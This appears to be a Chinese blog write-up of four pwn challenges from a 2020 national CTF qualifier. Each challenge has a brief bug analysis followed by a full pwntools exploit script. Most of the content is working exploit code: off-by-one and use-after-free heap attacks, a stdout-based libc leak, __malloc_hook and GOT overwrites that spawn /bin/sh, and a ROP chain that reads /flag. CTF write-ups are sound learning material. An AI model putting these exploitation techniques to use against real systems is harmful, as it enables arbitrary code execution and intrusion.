2020-国赛初赛PWN题记录

easybox

思路

考点:IO leak、off by one、2.23

堆溢出,off by one,没有show功能,和蓝帽杯一道题只是换成了2.23。思路是将一个chunk同时释放到unsorted bin和fastbin 0x70那条链中,这样可以UAF,劫持stdout地址泄露libc,第二次改hook为one_gadget

exp

#coding=utf-8
from pwn import *
context.terminal = ["tmux","split","-h"]
context.log_level = "debug"
debug = 1
if debug:
    p = process("./pwn")
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
    elf = ELF("./pwn")

def create(idx, len, content):
    p.sendlineafter(">>>", "1")
    p.sendlineafter("idx:", str(idx))
    p.sendlineafter("len:", str(len))
    p.sendafter("content:", content)

def delete(idx):
    p.sendlineafter(">>>", "2")
    p.sendlineafter("idx:", str(idx))

create(0,0x18,"a"*0x18)
create(1,0xf8,"a"*0xf8)
create(2,0x68,"a"*0x68)
create(3,0x18,"a"*0x18)
delete(0)
create(0,0x18,"a"*0x18+"\x71")
delete(1)
delete(2)
create(1,0xf8,"a"*0xf8)
create(2,0x30,"\xdd\x25")
delete(1)
create(1,0xf8,'a'*0xf8+"\x71")
create(4,0x68,"a")
#gdb.attach(p)
create(5,0x68,"\x00"*0x33+p64(0xfbad1800)+p64(0)*3+"\x00")
p.recv(0x40)
p.recv(0x40)
libc.address = u64(p.recv(6).ljust(8,"\x00"))-0x7ffff7dd2600+0x7ffff7a0d000
success("libc address ==> "+hex(libc.address))
victim_address = libc.sym["__malloc_hook"]-0x23
create(6,0x28,"\n")

create(7,0x18,"a"*0x18)
create(8,0xf8,"a"*0xf8)
create(9,0x68,"a"*0x68)
create(10,0x18,"a"*0x18)
delete(7)
create(7,0x18,"a"*0x18+"\x71")
delete(8)
delete(9)
create(8,0xf8,"a"*0xf8)
create(9,0x30,p64(victim_address))
delete(8)
create(8,0xf8,"a"*0xf8+"\x71")
create(11,0x68,"a")
one_gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
create(12,0x68,"\x00"*0x13+p64(libc.address+one_gadgets[3]))
gdb.attach(p)
create(13,0x28,"a")
p.interactive()

nofree

IDA分析

没有free和show,只有malloc 0~0x90和edit功能:

malloc:

show:

这个题看了一个小时硬是没找到洞在哪儿,最后看了wp才知道利用strdup分配的chunk的size和我们写入chunk的size并不是分配的大小,strdup会根据字符串的大小来分配chunk,而输入内容可控,那么我们可以写入0x90,实际却分配0x20,这样就可以溢出。

思路

第一步:利用溢出改topchunk,改topchunk后无限分配直到消耗完top chunk,精心分配top chunk最后的size为bss我们输入的那个size,这样就可以fastbin attack攻击,这里选择是0x60。
第二步:fastbin attack就可以控制chunklist
第三步:改chunklist中chunk地址控制的位置,同时写三个chunk分别为got.exit、got.atoi、got.atoi
第四步:改exit为ret,atoi为plt.printf,利用格式化字符串泄露libc地址
第五步:利用输入字符数控制改atoi的got表为system,输入/bin/sh

exp

#coding=utf-8
from pwn import *
debug = 1
context.terminal = ['tmux','split','-h']
context.log_level = "debug"

se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims             :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
itv     = lambda                    :p.interactive()

if debug:
    p = process("./pwn")
   # p = process('./feedback',env={'LD_PRELOAD':'./libc-2.23.so'})
    elf = ELF("./pwn")
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else:
    p = remote("124.70.197.50",9010)
    elf = ELF("./student_manager")
    libc = ELF("./libc-2.27.so")



def create(index,size,content):
    sla(">> ","1")
    sla("idx: ",str(index))
    sla("size: ",str(size))
    sa("content: ",content)

def edit(index,content):
    sla(">> ","2")
    sla("idx: ",str(index))
    sa("content: ",content)

create(0,0x90,"a"*0x10+"\n")
edit(0,"a"*0x10+p64(0)+p64(0xfe1)+"\n")

for i in range(0x17):
    create(0,0x90,"a"*0x90)
create(0,0x70,"a"*0x70)
create(0,0x50,"a"*0x50)
create(0,0x60,"a"*0x10+"\n")
create(1,0x90,"a"*0x90)
edit(0,"a"*0x10+p64(0)+p64(0x61)+p64(0x6021c0)+"\n")
create(1,0x50,"a"*0x50)
create(2,0x50,"a"*0x50)
edit(2,p64(elf.got['atoi'])+p64(0x50)+p64(0x6021c0)+p64(0x80)+p64(elf.got['atoi'])+p64(0x50))
edit(2,p64(elf.got['exit'])+p64(0x8)+p64(elf.got['atoi'])+p64(0x8)+p64(elf.got['atoi'])+p64(0x50))
edit(0,p64(0x00000000004006b9))
edit(1,p64(elf.plt['printf']))
sla(">> ","%7$p")
ru("0x")
data = int(p.recv(12),16)
libc.address = data-0x7ffff7dd2620+0x7ffff7a0d000
success("libc address ==> "+hex(libc.address))
sa(">> ","aa")
sa("idx: ","aa")
sa("content: ",p64(libc.sym["system"]))
sl("/bin/sh")
p.interactive()

maj

分析

这道题难点在于前面回答问题的逆向,但是我们爆破一下也很容易得到结果80。漏洞在于UAF,free无清空,有edit函数,无show函数。同理进行fastbin attack攻击。第一步io leak,第二步hijcking hook

exp

#coding=utf-8

from pwn import *
debug = 1
context.terminal = ['tmux','split','-h']
context.log_level = "debug"

se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims             :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
itv     = lambda                    :p.interactive()

if debug:
    p = process("./pwn")
    #p = process('./feedback',env={'LD_PRELOAD':'./libc-2.23.so'})
    elf = ELF("./pwn")
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else:
    p = remote("124.70.197.50",9010)
    elf = ELF("./student_manager")
    libc = ELF("./libc-2.27.so")

def create(size,content):
    sla(">> ","1")
    sla("question\n",str(80))
    sla("____?",str(size))
    sa("yes_or_no?",content)

def delete(index):
    sla(">> ","2")
    sla("index ?",str(index))

def edit(index,content):
    sla(">> ","4")
    sla("index ?\n",str(index))
    sa("content ?\n",content)

create(0x88,'a') # 0
create(0x68,"b") # 1
create(0x68,"c") # 2
delete(0)
delete(1)
delete(2)
create(0x10,"a") # 3
edit(0,p64(0)+p64(0x21)+p64(0)+p64(0x71)+"\xdd\x25")
edit(2,"\x20")
create(0x68,"a") # 4
create(0x68,"a") # 5
create(0x68,"a") # 6
edit(6,"\x00"*0x33+p64(0xfbad1800)+p64(0)*3+"\x00")
p.recv(0x40)
libc.address = u64(p.recv(6).ljust(8,"\x00"))-0x7ffff7dd2600+0x7ffff7a0d000
success("libc address ==> "+hex(libc.address))
delete(1)
delete(2)
delete(1)
sla(">> ","4")
sla("index ?","1")
sa("content ?",p64(libc.sym["__malloc_hook"]-0x23))
create(0x68,"a") # 7
create(0x68,"\n") # 8
one_gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
sla(">> ","4")
sla("index ?","8")
sa("content ?","\x00"*0x13+p64(libc.address+one_gadgets[3]))
sla(">> ","1")
sla("question\n",str(80))
sla("____?",str(0xa0))
p.interactive()

wow

IDA分析

通过分析看到这个题类似之前RCTF中的brainfuck,我们逆一下其对应的指令:
@== pointer++
#== pointer–
^ == (pointer)++
| == (*pointer)–
&== putchar(pointer)
$ == getchar(pointer)
{ == while(p){
} == }
\
== pointer*4
~ == ~pointer
同样的我们利用一段代码测试一下:

(*p++);
while(p){
    p++
    putchar(p);
    (*p++);
}
getchar(p)

会溢出一个字节,改code地址为ret地址,最后需要改回来。题目基本和RCTF的brainfuck一样,只不过指令换了,以及ORW的指令需要在binary中找,并且不能令地址中含有指令中的字符。

exp

#coding=utf-8
from pwn import *

context.terminal = ["tmux","split","-h"]
context.update(arch='amd64',os='linux',log_level="debug")

p = process("./wow")
elf = ELF("./wow")

syscall = 0x00000000004dc054 
pop_rdi = 0x41307a
pop_rdx = 0x53048b
pop_rsi = 0x47383d
pop_rax = 0x53048a

def call_func(sysNum,param1,param2,param3):
    payload = flat([pop_rax,sysNum,pop_rdi,param1,pop_rsi,param2,pop_rdx,param3,syscall])
    return payload

code = "^{@&^}$"

#gdb.attach(p)
p.sendlineafter("code:\n",code)

p.recvuntil(0x3ff*"\x00")
#gdb.attach(p)

p.send("\x38")
#gdb.attach(p)
p.sendlineafter("continue?\n","y")

p.recvuntil("enter your code:\n")
shell = call_func(0,0,0x5D3700,8) # read
shell+= call_func(2,0x5D3700,0,0) # open
shell+= call_func(0,3,0x5D3700+0x10,0x20) # read
shell+= call_func(1,1,0x5D3700+0x10,0x20) # write

#gdb.attach(p)
p.sendline(shell+code)

#gdb.attach(p)
#raw_input()
p.send("\xe0")

p.sendafter("continue?","n")
p.send("/flag\x00")
p.interactive()

 Previous
2020-国赛半决赛PWN题记录 2020-国赛半决赛PWN题记录
半决赛day1pwn1简单的分析栈溢出,栈迁移后利用函数打印libc地址,最后system(“/bin/sh”),这个题当时做调试的时候出了些问题,这里有这么几个点:1.没有用raw_input()暂停。2.对32位连续调用函数的清空栈的做
2020-09-25
Next 
2019 ByteCTF部分PWN复盘 2019 ByteCTF部分PWN复盘
大概去年十一月份写的,拿过来再看一下 mheap0x01 查看文件 看到也许可以hijacking GOT或者hijacking hook ## 0x02 源码分析 ### 创建功能 貌似看起来没什么问题。 ### 打印函数 ### 删
2020-09-24
  TOC